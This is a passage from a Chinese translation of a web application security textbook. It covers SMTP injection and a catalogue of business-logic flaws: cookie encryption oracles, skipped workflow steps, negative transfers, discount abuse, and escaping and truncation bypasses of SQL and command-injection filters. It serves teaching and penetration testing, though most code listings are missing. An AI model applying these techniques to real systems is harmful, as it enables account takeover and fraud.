黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）应当轮流提交下面的每个测试字符串作为每一个参数，在相关位置插入电子邮件地址。 （2）留意应用程序返回的任何错误消息。如果这些错误与电子邮件功能中的任何问题有关，确定是否需要对输入进行调整，以利用漏洞。 （3）应用程序的响应可能并不会以任何形式表示一个漏洞存在或被成功利用。应该监控指定的电子邮件地址，看是否收到任何电子邮件。 （4）仔细检查生成相关请求的HTML表单。它们可能提供与服务器端使用的软件有关的线索。其中可能包含一个用于指定电子邮件收件人地址的隐藏或禁用字段，可以直接对其进行修改。 提示 向应用程序支持人员发送电子邮件的功能常常被视为外围功能，应用程序可能并不对其采用与主要功能相同的安全标准，或者进行严格的测试。而且，因为它们需要连接不常用的后端组件，应用程序往往通过直接调用相关操作系统命令来执行它们。因此，除探查SMTP注入漏洞外，还应极其仔细地检查所有与电子邮件有关的功能，查找OS命令注入漏洞。 10.5.4 防止SMTP注入 如果对提交给电子邮件功能或SMTP会话使用的任何用户提交的数据进行严格的确认检查，就可以防止SMTP注入漏洞。因此，应根据其用途对每项数据进行尽可能严格的确认。 应根据一个适当的正则表达式检查电子邮件地址（当然应拒绝所有换行符）。 消息主题不得包含任何换行符，并应实施适当的长度限制。 如果消息内容被一个SMTP会话直接使用，那么应禁止使用仅包含一个点字符的消息行。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 10.6 小结 我们已经分析了一系列针对后端应用程序组件的攻击，了解到确定并利用每一种漏洞所需采取的实际步骤。许多现实世界的漏洞，使用应用程序后立即就会发现，例如，通过在搜索框中输入异常语法进行搜索。另外，这些漏洞可能隐藏得非常深，极少给应用程序造成可以检测的行为差异，也无法通过提交并操纵专门设计的输入的多阶段过程发现。 要确定应用程序中存在的后端注入缺陷，需要进行耐心仔细的检测。实际上，几乎每一种注入缺陷都会在处理用户提交的数据过程中表露出来，这些数据包括查询字符串参数的名称与值、POST数据、cookie以及其他HTTP消息头。许多时候，只有在全面探查了相关参数，明确了解应用程序对输入执行了何种类型的处理，并排除测试过程中的障碍后，漏洞才会显露出来。 面对后端应用程序组件的攻击造成了大量潜在的受攻击面，渗透测试员可能觉得对应用程序实施任何严重的攻击都必须付出巨大的努力。然而，从很大程度上讲，实施有效攻击需要从直觉上了解漏洞的位置，以及如何对其加以利用。获得这种直觉的唯一途径是进行实践，针对在现实中遇到的应用程序演练前面描述的技巧，并观察它们如何应对这些攻击。 黑客攻防技术宝典：Web实战篇（第2版） 10.7 问题 欲知问题答案，请访问http://mdsec.net/wahh。 （1）某网络设备提供用于执行设备配置的Web界面。为什么这种功能通常易于受到操作系统命令注入攻击？ （2）在测试以下URL时： 将country参数的值更改为foo导致以下错误消息： 可以采取哪些步骤对应用程序实施攻击？ （3）在对一个在POST请求中以XML格式传送数据的应用程序进行测试时，可以利用哪种漏洞从服务器的文件系统中读取任意文件？要成功实施攻击，必须满足哪些先决条件？ （4）向ASP.NET平台上运行的应用程序提出以下请求： 应用程序执行以下代码： 请问param变量的值是什么？ （5）HPP是HPI的前提，还是HPI是HPP的前提？ （6）某应用程序包含一项功能，该功能向外部域提出请求，并返回这些请求的响应。为防止服务器端重定向攻击检索应用程序自己的Web服务器上的受保护资源，应用程序阻止了以localhost或127.0.0.1为目标的请求。如何突破这种防御，以访问服务器上的资源？ （7）某应用程序使用一项用于提交用户反馈的功能。该功能允许用户提交他们的电子邮件地址、邮件主题及详细的反馈。然后，应用程序以用户提交的主题和反馈为邮件正文，从用户的电子邮件地址向feedback@wahh-app.com发送一封电子邮件。以下哪一种方法能够有效防御邮件注入攻击？ （a）在邮件服务器上禁用邮件中继。 （b）使用feedback@wahh-app.com硬编码RCPT TO字段。 （c）确保用户提交的输入不包含任何换行符或其他SMTP元字符。 黑客攻防技术宝典：Web实战篇（第2版） 第11章 攻击应用程序逻辑 所 有Web应用程序都通过逻辑实现各种功能。从根本上讲，用编程语言编写代码就是把一个复杂的进程分解成一些非常简单而又相互独立的逻辑步骤。将一项对人类有用的功能转换成一系列计算机能够执行的细微操作，需要掌握大量的技巧并进行周密的安排。顺利、安全地完成以上任务就更显困难。如果由背景各不相同的开发者与程序员并行开发同一个应用程序，那么在这个过程中可能会发生很多错误。 在所有即使是非常简单的Web应用程序中，每个阶段都会执行数目庞大的逻辑操作。这些逻辑代表着一个复杂的受攻击面，它虽然从未消失，但往往被人们忽略。许多代码审查与渗透测试主要针对常见的“头条”式漏洞，如SQL注入和跨站点脚本，因为它们具有容易辨别的签名，人们对它们的利用方法也进行了广泛的研究。相反，应用程序的逻辑缺陷更难以辨别：每一种缺陷似乎都是唯一的，通常自动漏洞扫描器也无法发现它们。因此，它们并未受到应有的重视与关注，攻击者对之非常感兴趣。 本章将描述各种常见的Web应用程序逻辑缺陷，以及渗透测试员在探查与攻击应用程序逻辑时需要采取的实用步骤。我们将举出一系列实际示例，每个示例说明一种不同的逻辑缺陷，它们共同说明设计者与开发者做出的假设可能会直接导致逻辑缺陷，在应用程序中造成安全漏洞。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 11.1 逻辑缺陷的本质 Web应用程序中的逻辑缺陷各不相同。它们包括代码中的简单错误，以及几种应用程序核心组件互操作方面的极其复杂的漏洞。有时候，这些缺陷非常明显，很容易发现；但是，有些缺陷可能极其微妙，能够避开最为严格的代码审查或渗透测试。 与SQL注入或跨站点脚本漏洞不同，逻辑缺陷没有共有的“签名”。当然，定义特性是指应用程序执行的逻辑存在某种缺陷。许多时候，逻辑缺陷表现为设计者或开发者在思考过程中做出的特殊假设存在明显或隐含的错误。简单来讲，程序员可能这样认为：“如果发生A，就一定会出现B，因此我执行C。”他们并不会提出截然不同的问题：“如果发生X会怎样？”因而没有考虑到假设以外的情形。在许多情况下，这种错误的假设会造成大量的安全漏洞。 近些年来，人们防范常见Web应用程序漏洞的意识已经增强，一些漏洞的出现几率与严重程度也显著降低。然而，鉴于逻辑缺陷的本质，即使是实施安全开发标准、使用代码审查工具或常 规渗透测试，我们仍然无法避免这种缺陷。逻辑缺陷的多样性本质，以及探查与防止它们往往需要从各个不同的角度思考问题，预示着在很长一段时期内，逻辑缺陷仍将大量存在。因此，精明的攻击者会特别注意目标应用程序采用的逻辑方式，设法了解设计者与开发者做出的可能假设，然后考虑如何攻破这些假设。 黑客攻防技术宝典：Web实战篇（第2版） 11.2 现实中的逻辑缺陷 掌握理论知识并不是了解逻辑缺陷的最佳办法，通过实例进行学习才是最佳途径。虽然各种逻辑缺陷之间存在巨大的差异，但它们仍包含一些共同特征，并证实开发者总会犯各种各样的错误。因此，从研究逻辑缺陷实例获得的启示有助于攻击者在各种不同的情况下发现新的缺陷。 11.2.1 例1：征求提示 笔者曾在许多不同类型的应用程序中发现“加密提示”漏洞。攻击者可以利用这种漏洞实施各种攻击，如解密打印软件中的域证书或破坏云计算。下面是这种漏洞的一个典型示例，是在一个软件销售站点上发现的。 1．功能 该应用程序实施“记住我”功能，允许应用程序在浏览器中设置一个永久cookie，用户从而无须登录即可访问应用程序。这个cookie受到一个加密算法的保护，以防止篡改或披露。该算法基于一个由姓名、用户ID和不定数据组成的字符串，以确保合成值是唯一的，并且无法预测。为确保能够访问该cookie的攻击者无法实施重放攻击，应用程序还收集机器专用的数据，包括IP地址。 于是，这个cookie被视为一个可靠的解决方案，用于保护业务功能中易受攻击的部分。 除“记住我”功能外，该应用程序还具有另一项功能，将用户的昵称存储在一个名为ScreenName的cookie中。这样，在用户下次访问该站点时，就可以在站点的角落位置收到个性化的问候。鉴于这个名称也属于安全信息，因此也应对它进行加密。 2．假设 开发者认为，与RememberMe cookie相比，ScreenName cookie对攻击者而言价值不大，于是他们决定使用相同的加密算法来保护这两个cookie。他们没有考虑到的是，用户可以指定自己的昵称，并在屏幕上查看该名称。这在无意间使用户能够访问用于保护永久身份验证令牌RememberMe的加密功能（及加密密钥）。 3．攻击方法 在一个简单的攻击中，用户提交其RememberMe cookie的加密值来替代加密的ScreenName cookie。在向用户显示昵称时，应用程序将解密该值，如果解密成功，将在屏幕上显示结果。这个过程生成了如下消息： 虽然这是个有趣的问题，但不一定是个高风险的问题。它只是说明，攻击者可以列出加密的RememberMe cookie的内容，包括用户名、用户ID和IP地址。由于cookie中没有保存密码，攻击 者并没有办法对获得的信息立即加以利用。 真正的问题在于，用户能够指定他们的昵称。因此，用户可以选择自己的昵称，例如： 如果用户退出系统然后重新登录，应用程序就会加密这个值，将它作为加密的ScreenName cookie存储在用户的浏览器中。如果攻击者提交这个加密的令牌，将它作为RememberMe cookie的值，应用程序就会解密该cookie，读取用户ID，并让攻击者以管理员身份登录。即使应用程序采用三重DES加密，使用强大的密钥并阻止重放攻击，攻击者仍然可以将应用程序作为“加密提示”，以解密并加密任意值。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 这种类型的漏洞表现在许多不同的情况下，包括账户恢复令牌；基于令牌访问经过验证的资源；以及向客户端发送的、需要防篡改或对用户不可读的任何其他值。 （1）在应用程序中查找任何使用加密（而非散列）的位置。确定任何应用程序加密或解密用户提交的值的位置，并尝试替代在应用程序中发现的任何其他加密值。尝试在应用程序中导致可以揭示加密值，或可以在屏幕上“有意”显示加密值的错误。 （2）确定应用程序中可以通过提交加密值导致在响应中显示对应的解密值的位置，以查找“提示提示”漏洞。确定这种漏洞是否会导致敏感信息（如密码或信用卡）被披露。 （3）确定可以通过提交明文值导致应用程序返回对应的加密值的位置，以查找“提示加密”漏洞。确定是否可以通过指定任意值，或应用程序将会处理的恶意有效载荷，对这种漏洞加以利用。 11.2.2 例2：欺骗密码修改功能 我们曾在一家金融服务公司使用的Web应用程序以及AOL AIM企业网关应用程序中发现过这种逻辑缺陷。 1．功能 应用程序为终端用户提供密码修改功能。它要求用户填写用户名、现有密码、新密码与确认新密码字段。 应用程序还为管理员提供密码修改功能。这项功能允许他们修改任何用户的密码，而不必提交现有密码。这两项功能在同一个服务器端脚本中执行。 2．假设 应用程序为用户和管理员提供的客户端界面仅有一点不同：在管理员界面中没有用于填写现有密码的字段。当服务器端应用程序处理密码修改请求时，它通过其中是否包含现有密码参数确定请求是来自管理员，还是来自普通用户。换句话说，它认为普通用户总会提交现有密码参数。 负责执行这项功能的代码如下： 3．攻击方法 一旦确定开发者做出的假设后，逻辑缺陷就变得非常明显。当然，普通用户也可以提交并不包含现有密码参数的请求，因为用户控制着他们提出的请求的每一个方面。 这种逻辑缺陷可能给应用程序造成巨大破坏。攻击者可利用这种缺陷重新设置任何用户的密码，完全控制他们的账户。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）在关键功能中探查逻辑缺陷时，尝试轮流删除在请求中提交的每一个参数，包括cookie、查询字符串字段与POST数据项。 （2）既要删除参数名称，也要删除参数值。不要只提交一个空字符串，因为服务器会对这种字符串另做处理。 （3）一次仅攻击一个参数，确保到达应用程序中所有与参数有关的代码路径。 （4）如果控制的请求属于多阶段过程，一定要完成整个过程，因为后面的一些逻辑可能会处理在前面的步骤中提交并在会话中保存的数据。 11.2.3 例3：直接结算 我们曾在一家网上零售商使用的Web应用程序中发现过这种逻辑缺陷。 1．功能 下订单的过程包括以下步骤。 （1）浏览产品目录并往购物车中添加商品。 （2）返回购物车并最终确认订单。 （3）输入支付信息。 （4）输入交货信息。 2．假设 开发者认为用户总会按预定的顺序执行每一个步骤，因为这是应用程序通过显示在浏览器中的导航链接和表单向用户提供的处理顺序。因此，开发者认为任何完成订购过程的用户一定已经提交了令人满意的支付信息。 3．攻击方法 很明显，开发者的假设存在缺陷。用户控制着他们向应用程序提出的每一个请求，因此能够按任何顺序访问订购过程的每一个阶段。如果直接从第（2）步进入第（4）步，攻击者就可生成一个最终确定交货、但实际上并未支付的订单。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 发现并利用这种缺陷的技巧叫作强制浏览，包括避开浏览器导航对应用程序功能访问顺序实施的任何控制。 （1）如果一个多阶段过程需要按预定的顺序提交一系列请求，尝试按其他顺序提交这些请求。尝试完全省略某些阶段、几次访问同一个阶段或者推后访问前一个阶段。 （2）这些阶段的结果可通过一系列指向特殊URL的GET或POST请求进行访问，或者需要向同一个URL提交不同的参数。被访问的阶段可通过在被请求的参数中提交功能名称或索引来指定。确保完全了解应用程序访问特殊阶段所使用的机制。 （3）根据执行功能的情形，试图了解开发者做出的假设及主要受攻击面位于何处。设法找到违反这些假设从而在应用程序中造成反常行为的方法。 （4）如果不按顺序访问多阶段功能，应用程序常常表现出一系列异常现象，如变量值为空字符或未被初始化、状态仅部分定义或相互矛盾以及其他无法预料的行为。这时，应用程序可能会返回有用的错误消息与调试结果，可用于充分了解其内部机制并对当前或其他攻击进行优化（请参阅第15章了解相关内容）。有时，应用程序可能会进入一种完全出乎开发者意料的状态，导致严重的安全缺陷。 注解 许多类型的访问控制漏洞与这种逻辑缺陷类似。如果一项特权功能需要完成几个按预定顺序访问的阶段才能实现处理，应用程序可能认为用户总会按这个顺序处理该项功能。应用程序可能会对这个过程的初始阶段实施严格的访问控制，并认为任何到达后面阶段的用户一定已经获得相关授权。如果一个低权限的用户直接进入了后面的一个阶段，他就能够无限制地访问这个功能。请参阅第8章了解查找并利用这种漏洞的详情。 11.2.4 例4：修改保险单 我们曾在一家金融服务公司使用的Web应用程序中遇到过这种逻辑缺陷。 1．功能 应用程序为用户提供保险报价，如果需要，用户可在线完成并提交一份保险申请。这个过程包括如下几个阶段。 第一阶段，申请人提交一些基本信息，并指定首选月保费或希望投保的金额。应用程序提供一个报价，同时计算申请人并未指定的其他值。 后几个阶段，申请人提交其他各种个人信息，包括健康状况、职业与爱好。 最后，应用程序连接一名为保险公司工作的保险员。保险员使用该Web应用程序审核申请人提交的信息，并决定是否接受申请，或者修改最初的报价以反映任何额外的风险。 在上述的每一个阶段中，应用程序使用一个共享组件处理用户提交的每一个参数。这个组件将每个POST请求中的所有数据解析成名/值对，并使用收到的数据更新其状态信息。 2．假设 处理用户提交的数据的组件认为每个请求仅包含用户在相关HTML表单中提交的参数。而开发者并未考虑到这种情形：如果一名用户提交了应用程序并不希望他提交的参数，将会出现什么情况。 3．攻击方法 上述假设当然存在缺陷，因为用户可在每个请求中提交任意参数与参数值。因此，应用程序的核心功能有许多不完善的地方。 攻击者可以利用共享组件避开所有服务器端的输入确认。在报价过程的每一个阶段，应用程序对这些阶段提交的数据执行严格的确认，并拒绝任何未通过这种确认的数据。但是，共享组件使用用户提交的每一个参数更新应用程序的状态。因此，如果攻击者提供应用程序在较早阶段需要的一个名/值对，不按顺序提交数据，那么应用程序将不对其进行任何确认，直接接受并处理该数据。如果出现这种情况，恶意用户就可以据此实施针对保险员的保存型跨站点脚本攻击，访问属于其他应用程序的个人信息（请参阅第12章了解相关内容）。 攻击者能够以任意价格购买保险。在报价过程的第一阶段，申请人指定他们首选的月保费或希望投保的金额，应用程序据此计算其他值。然而，如果用户在后续某个阶段为上面的一个或几个数据项提交新的值，那么应用程序将根据这些值更新自己的状态。不按顺序提交这些参数，攻击者就可以获得任意价格的保险报价及任意月保费。 应用程序并不对某一类用户能够提交哪些参数实施访问控制。当保险员审核完成的申请时，他们会更新各种数据，包括做出承保决定。这些数据由处理普通用户提交的数据的同一个共享组件处理。如果攻击者知道或猜测出保险员在审查申请时使用的参数名称，就可以提交这些参数，不用签署保单即可接受自己的申请。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 这些缺陷可严重危及应用程序的安全，但是，如果攻击者仅拦截浏览器请求并修改被提交的参数值，还是无法确定其中任何一个缺陷。 （1）只要应用程序通过几个阶段执行一项关键操作，就应该提取在某个阶段提交的参数，然后尝试在另一个阶段提交这些参数。如果相关数据随应用程序的状态一起更新，应该探索这 种行为的衍生效果，确定是否可以利用它实施任何恶意操作，如前面的3个示例所述。 （2）如果应用程序执行一项功能，不同类型的用户可根据一组共同的数据更新或执行其他操作，应该利用每种类型的用户执行该功能并观察他们提交的参数。如果不同的用户提交不同的参数，就提取由一名用户提交的每个参数，并尝试以其他用户的身份提交这些参数。如果应用程序接受并处理这些参数，如前面所述，探索这种行为的衍生效果。 11.2.5 例5：入侵银行 我们曾在一家大型金融服务公司使用的Web应用程序中遇到过这种逻辑缺陷。 1．功能 应用程序允许尚未使用在线应用程序的顾客进行注册。然后，应用程序要求新用户提供一些基本的个人信息，在一定程度上确认他们的身份。这些信息包含姓名、地址和出生日期，但并不包括任何机密信息，如现有密码或 PIN 号码。 顾客正确输入这些信息后，应用程序再将注册请求转交给后端系统处理。然后，再向用户注册的家庭地址邮寄一个信息包裹。包裹内含有如何通过给公司呼叫中心拨打电话激活在线访问的指导，以及用户在第一次登录应用程序时使用的一次性密码。 2．假设 应用程序的设计者认为这种机制可为防止未授权访问提供强大的保护。该机制实施以下3层保护。 应用程序要求用户提前输入一部分个人信息，阻止恶意攻击者或恶作剧用户以其他用户的身份进行注册。 注册过程包括以非常规邮寄的形式向顾客注册的家庭地址传送一些机密信息。要想实施攻击，任何攻击者都必须盗取受害人的个人邮件。 注册功能要求顾客给呼叫中心拨打电话，并根据个人信息与在PIN号码中选择的数字，以常规方式核实他们的身份。 这种设计确实非常安全。但是，该机制的实际执行过程存在逻辑缺陷。 执行注册机制的开发者需要以某种方式保存用户提交的个人信息，并将它们与公司数据库中储存的客户身份关联起来。由于希望重复利用现有代码，他们使用以下这个似乎能够满足要求的类： 获得用户信息后，这个对象被实例化，与提交的信息一起保存在用户会话中。然后，应用程序核对用户信息，如果信息有效，就给该用户分配一个唯一的顾客号码，并将其用在公司的所有系统中。随后，应用程序将这个号码连同用户的其他一些有用信息，一起添加到这个对象中。最后，这个对象被传送至处理注册请求的后端系统进行处理。 开发者认为使用这个代码组件并无妨碍，不会造成任何安全问题。然而，这种错误的假设可能会造成严重的后果。 3．攻击方法 应用程序的其他功能（包括核心功能）也使用合并到注册功能中的相同代码组件，核心功能允许通过验证的用户访问账户、账目、转账和其他信息。一名注册用户成功通过应用程序的验证后，这个对象也被实例化，并保存在他的会话中，用于存储与其身份有关的关键信息。应用程序的绝大多数功能在执行操作时引用这个对象中保存的信息。例如，应用程序根据保存在这个对象中的唯一顾客号码生成在用户主页面显示的账户信息。 应用程序的其他功能已经使用这个代码组件，意味着开发者的假设存在缺陷，应用程序重复使用它们的方式确实会造成一个巨大的漏洞。 虽然这个漏洞非常严重，但实际上我们很难发现并利用这个漏洞。应用程序的主要功能受到几层访问控制的保护，用户需要拥有一个完全合法的会话才能通过这些控制。因此，为利用这个逻辑缺陷，攻击者需要执行以下步骤。 使用他自己的有效账户证书登录应用程序。 使用登录后得到的通过验证的会话，访问注册功能并提交另一名顾客的个人信息。这样，应用程序就会用一个与目标顾客有关的对象，重写攻击者会话中最初的CCustomer对象。 返回应用程序主要功能并访问其他顾客的账户。 从“黑盒”角度探查应用程序时，这种漏洞并不明显。同时，当审查或编写源代码时，我们也很难发现它。如果未能明确、全面地了解应用程序及其在不同区域使用的各种组件，我们可能无法知道开发者做出的错误假设。当然，添加明确注释的源代码与设计文档也有助于降低引入或探测不到这种缺陷的可能性。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）在一个需要隔离水平权限或垂直权限的复杂应用程序中，设法确定个体用户能够在会话中“聚积”大量与其身份有关的状态信息的所有情况。 （2）尝试浏览一个功能区域，然后转换到另一个完全无关的区域，确定任何聚积的状态信息是否会对应用程序的行为造成影响。 11.2.6 例6：规避交易限制 我们在一家制造公司使用的基于Web企业资源规划的应用程序中发现过这种逻辑缺陷。 1．功能 财务人员有资格在公司拥有的银行账户与公司关键客户和供应商的账户之间进行转账。为防止金融欺诈，应用程序将大多数用户的转账金额限制在10 000美元之内。如果转账金额超出这个限制，就需要得到高级经理的批准。 2．假设 应用程序中负责金额检查的代码极其简单： 开发者认为这种透明的检查非常安全。如果转账金额超出预先设定的限制，只有得到高级经理的许可交易才能进行。 3．攻击方法 开发者的假设存在缺陷，因为他完全忽略了用户用负金额进行转账的可能性。由于任何负值都小于转账金额限制，因此不需要得到进一步的批准。但是，应用程序的银行模块接受负值转账，并以反向正值转账的形式对其进行处理。因此，如果用户希望从A账户转账20 000美元到B账户，他只需从B账户转账-20 000美元到A账户，即可得到相同的效果，并且不需要经过批准。应用程序实施的反欺诈防御措施也被轻易避开！ 注解 许多Web应用程序在它们的交易逻辑中采用数字限额，例如： 零售应用程序禁止用户订购超出其库存量的商品； 银行应用程序禁止用户支付超出其当前账户余额的账单； 保险应用程序根据年龄限制调整报价。 找到规避这个限额的方法通常并不表示应用程序存在安全漏洞。但是，这样做会造成严重的商业后果，并表示所有者依赖应用程序实施的控制存在缺陷。 在发布应用程序前执行的用户验收测试过程中，我们通常可以检测出最明显的漏洞。然而，隐藏较深的漏洞依然存在，特别是操纵隐藏参数造成的漏洞。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 尝试规避交易限制的第一步是了解受控制的相关输入接受哪些字符。 （1）尝试输入负值，看应用程序是否接受这些值并按预想的方式对它们进行处理。 （2）可能需要执行几步操作，改变应用程序的状态，使其对攻击有用。例如，可能需要在账户之间进行几次转账，直到得到可提取的适当余额。 11.2.7 例7：获得大幅折扣 我们在一家软件供应商的零售应用程序中遇到过这种逻辑缺陷。 1．功能 应用程序允许用户订购软件产品，如果购买的商品达到一定数量，就有资格获得大幅折扣。例如，如果用户分别购买了一款防病毒解决方案、个人防火墙与防垃圾邮件软件，他就可以获得25%的折扣。 2．假设 当用户在购物车中增加一件商品时，应用程序就使用各种规则决定他选择购买的产品是否让他有资格获得任何折扣。如果用户可以获得折扣，应用程序就根据折扣率调整购物车中的商品价格。开发者认为用户只有购买捆绑销售的商品，才能获得折扣。 3．攻击方法 开发者的假设存在相当明显的缺陷，因为该假设忽略了一个事实，即用户向购物车中添加商品后可能会再将其从中移走。狡猾的用户可能会往购物车中添加供应商出售的大量产品，以获得最大可能的折扣。当购物车中的商品可以采用折扣时，他就会把不需要的商品从中取走，而购物车中剩下的商品仍然可以享受原来的折扣。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）如果有任何价格或其他敏感价值需要根据用户控制的数据或操作确定的标准进行调整，首先应了解应用程序使用的算法以及需要调整的逻辑。确定这些调整是一次性行为，还是需要根据用户执行的其他操作进行修改。 （2）发挥想象，努力想出操纵应用程序行为的办法，使应用程序进行的调整与开发者最初设定的标准相互矛盾。如前所述，在应用折扣后再从购物车中取出商品就是最典型的示例。 11.2.8 例8：避免转义 我们曾在各种Web应用程序中遇到过这种逻辑缺陷，包括一款网络入侵检测产品使用的Web管理界面。 1．功能 应用程序的设计者决定执行某种功能，该功能需要以自变量的形式向操作系统命令提交用户控制的输入。应用程序的开发者知道这种操作包含着内在的风险（请参见第9章了解相关内容），并决定净化用户输入中出现的任何潜在的恶意字符，从而防御这种风险。下面的字符都需要使用反斜线（\\）进行转义： 以这种方式进行转义后，shell命令解释器就把它们当做提交给被调用命令的自变量的一部 分，而非shell元字符。后者可用于注入其他命令或自变量、重定向输出等。 2．假设 开发者确信，他们设计的方法可有效防御命令注入攻击。他们考虑到了每一个可能被攻击者利用的字符，并确保对它们进行了适当的转义处理，因而它们不会造成风险。 3．攻击方法 开发者忘记了对转义字符本身进行转义。 通常，攻击者在利用简单的命令注入漏洞时并不直接使用反斜线，因此开发者认为它并非恶意字符。然而，正是由于没有对它进行转义，攻击者就可以完全破坏应用程序的净化机制。 假设攻击者向易受攻击的功能提交以下输入： 如前所述，应用程序对其进行适当的转义处理，因此攻击者的输入变成： 当这个数据作为自变量提交给操作系统命令时，shell 解释器把第一个反斜线作为转义字符，而把第二个反斜线当做字面量反斜线处理；反斜线不是一个转义字符，而是自变量的一部分。然后它遇到分号字符，该字符明显没有进行转义。解释器把分号作为一个命令分隔符，因此继续执行攻击者注入的命令。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 当在应用程序中探查命令注入及其他缺陷时，尝试在受控制的数据中插入相关元字符后，接着在每个元字符前插入一个反斜线，测试前面描述的逻辑缺陷。 注解 一些防御跨站点脚本攻击（请参阅第12章了解相关内容）的措施中也存在这种的逻辑缺陷。将用户提交的输入直接复制到一段JavaScript脚本的字符串变量值中时，这个值包含在引号内。为防御跨站点脚本攻击，许多应用程序使用反斜线对出现在用户输入中的引号进行转义。然而，如果反斜线本身并没有转义，那么攻击者就可以提交\\’破坏字符串，从而控制脚本。早先版本的Ruby On Rails 框架的escape_javascript函数中就存在这种漏洞。 11.2.9 例9：避开输入确认 笔者曾在一个电子商务站点的Web应用程序中发现这种逻辑缺陷。许多其他应用程序中也存在类似的缺陷。 1．功能 该应用程序包含一组输入确认程序，以防范各种类型的攻击。其中的两种防御机制为SQL注 入过滤和长度限制。 通常，应用程序对在基于字符串的用户输入中出现的任何单引号进行转义（并拒绝在数字输入中出现的任何单引号），以防范SQL注入。如第9章所述，两个单引号在一起将构成一个转义序列，表示一个原义单引号，数据库会将其解释为引用字符串中的数据，而不是结束字符串的终止符。因此，许多开发者认为，通过将用户提交的输入中的任何单引号配对，就可以防止SQL注入攻击。 长度限制适用于所有输入，确保用户提交的变量不会超过128个字符。如果任何变量超过128个字符，它会将其截短。 2．假设 从安全的角度来说，SQL注入过滤和长度限制都属于适当的防御机制，因此两种防御机制都应该采用。 3．攻击方法 SQL注入防御通过将用户输入中的任何引号配对而生效，因此，在每对引号中，第一个引号将作为第二个引号的转义字符。但是，开发者并没有考虑到，如果将经过转义的输入提交给“截短”功能，将会发生什么情况。 回到第9章中的登录功能SQL注入示例。假设应用程序将用户输入中的任何单引号配对，然后对该数据实施长度限制，将其截短为128个字符。如果提交以下用户名： 将导致以下无法避开登录的查询： 但是，如果提交以下用户名（包含127个a后接一个单引号）： 应用程序会首先将单引号配对，然后将字符串截短为128个字符，导致输入又恢复其原始值。这时会生成数据库错误，因为在查询中注入了另外一个单引号，而没有纠正周围的语法。此时如果提交密码： 应用程序将执行以下查询，从而成功避开登录： 由a组成的字符串末尾的已配对引号将被解释为转义引号，因而被作为查询数据的一部分。这个字符串将继续有效，直到下一个单引号位置结束，而在原始的查询中，这个位置为用户提交的密码值的开始部分。这样，数据库理解的用户名为如下所示的字符串数据： 因此，之后的任何内容均被解释为查询的一部分，因而可以进行专门设计以破坏查询逻辑。 提示 不必清楚了解应用程序实施的长度限制，只需轮流提交下面的两个长字符串，并确定是否会生成错误，即可测试这种类型的漏洞： 截短转义输入将在偶数或奇数个字符之后发生。无论是哪一种情况，以上其中一个字符串将导致在查询中插入奇数数量的单引号，从而生成无效的语法。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 记下应用程序修改用户输入（特别是截短、删除数据、编码或解码）的任何位置。对于观察到的每一个位置，确定是否可以人为构造恶意字符串。 （1）如果数据已被过滤一次（非递归），确定是否可以提交一个“补偿”过滤操作的字符串。例如，如果应用程序过滤SELECT这个SQL关键字，则可以提交SELSELECTECT，看过滤机制是否会删除其中的SELECT子字符串，而留下SELECT。 （2）如果数据确认按设定的顺序发生，并且有一个或多个确认步骤修改了数据，则确定是否可以将这些步骤用于破坏之前的确认步骤。例如，如果应用程序执行URL编码，然后过滤掉恶意数据（如<script>标签），则可以通过提交以下字符串来避开确认机制： 注解 跨站点脚本过滤经常会错误地删除HTML标签对之间的所有数据，如<tag1>aaaaa</tag1>。这种行为通常易于受到上述攻击。 11.2.10 例10：滥用搜索功能 我们曾在一个提供基于预订的金融新闻和信息访问的应用程序中发现过这种逻辑缺陷。随后，我们又在两个完全无关的应用程序中遇到相同的漏洞，这表明许多逻辑缺陷既难以捉摸，又广泛存在。 1．功能 应用程序允许用户访问大量的历史档案与当前信息，包括公司报表与账目、新闻稿、市场分析等。大部分信息只有付费用户才可查阅。 应用程序提供一个功能强大、分类详细的搜索功能，所有用户都可使用这项功能。如果匿名用户执行一项查询，搜索功能将返回所有与查询相匹配的文档链接。然而，如果用户想要查看查询返回的受保护文档的实际内容，就需要付费订阅。应用程序的所有者认为这种行为是一种有用的营销策略。 2．假设 应用程序的设计者认为，如果用户不付费订阅，就无法使用搜索功能提取任何有用的信息。 搜索结果返回的文档标题往往含义模糊，例如，“2010年度报告”、“新闻稿08-03-2011”等。 3．攻击方法 因为搜索功能指出与某一查询匹配的文档数量，狡猾的用户就可以提交大量查询，并通过推断利用搜索功能提取正常情况下需要付费才能查阅的信息。例如，下面的查询可从一个受保护的文档中提取内容。 虽然用户不能查看文档的具体内容，但通过发挥充分的想象并使用有针对性的请求，他就能够相对清楚地了解文档的内容。 提示 在某些情况下，能够以这种方式通过搜索功能过滤信息，对应用程序的安全非常重要：它会披露大量与管理功能、密码和釆用的技术有关的信息。 提示 事实证明，使用这种技巧可对内部文档管理软件实施有效攻击。笔者曾釆用此技巧对存储在维基百科中的配置文件内的关键密码实施过蛮力攻击。由于维基百科会返回提示，说明搜索字符串是否出现在页面的任何位置（而不是匹配整个单词），因此，可以通过搜索以下内容，逐个字母地对密码实施蛮力攻击： 11.2.11 例11：利用调试消息 我们曾在一家金融服务公司使用的Web应用程序中发现过这种逻辑缺陷。 1．功能 该应用程序最近才开发出来，像许多新软件一样，其中包含大量与功能有关的缺陷。每隔一段时间，应用程序的各种操作就会意外中断，并向用户返回一条错误消息。 为方便错误调查，开发者决定在这些消息中提供详尽的信息，包括： 用户的身份； 当前会话的令牌； 被访问的URL; 在造成错误的请求中提交的所有参数。 提供这些消息对服务台工作人员调查并恢复系统故障非常有用，而且有助于消除剩下的功能缺陷。 2．假设 